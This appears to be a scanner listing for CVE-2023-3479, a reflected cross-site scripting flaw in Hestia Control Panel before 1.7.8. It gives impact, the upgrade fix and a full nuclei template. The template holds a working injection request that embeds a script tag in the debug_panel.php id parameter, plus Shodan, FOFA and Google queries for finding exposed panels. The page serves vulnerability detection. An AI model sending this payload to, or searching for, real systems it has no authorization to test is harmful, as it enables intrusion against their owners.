Hestiacp <= 1.7.7 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.3%likelihood of exploitation, next 30 days

71%of all CVEs are less likely

Readycheck to confirm it

Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.7.8.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of Hestiacp (1.7.8 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/templates/pages/debug_panel.php?id={{randstr}}"><script>alert(document.domain)</script>
Positive when: contains "debug-panel" and "<script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-3479 -u <target>

The full check

id: CVE-2023-3479

info:
  name: Hestiacp <= 1.7.7 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.7.8.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Hestiacp (1.7.8 or higher) to mitigate this vulnerability.
  reference:
    - https://huntr.dev/bounties/6ac5cf87-6350-4645-8930-8f2876427723/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3479
    - https://github.com/hestiacp/hestiacp/commit/2326aa525a7ba14513af783f29cb5e62a476e67a
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3479
    cwe-id: CWE-79
    epss-score: 0.01293
    epss-percentile: 0.70537
    cpe: cpe:2.3:a:hestiacp:control_panel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hestiacp
    product: control_panel
    shodan-query:
      - http.favicon.hash:-476299640
      - http.title:"hestia control panel"
    fofa-query:
      - title="hestia control panel"
      - icon_hash=-476299640
    google-query: intitle:"hestia control panel"
  tags: cve2023,cve,huntr,hestiacp,xss,intrusive,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/templates/pages/debug_panel.php?id={{randstr}}"><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - debug-panel
          - <script>alert(document.domain)</script>
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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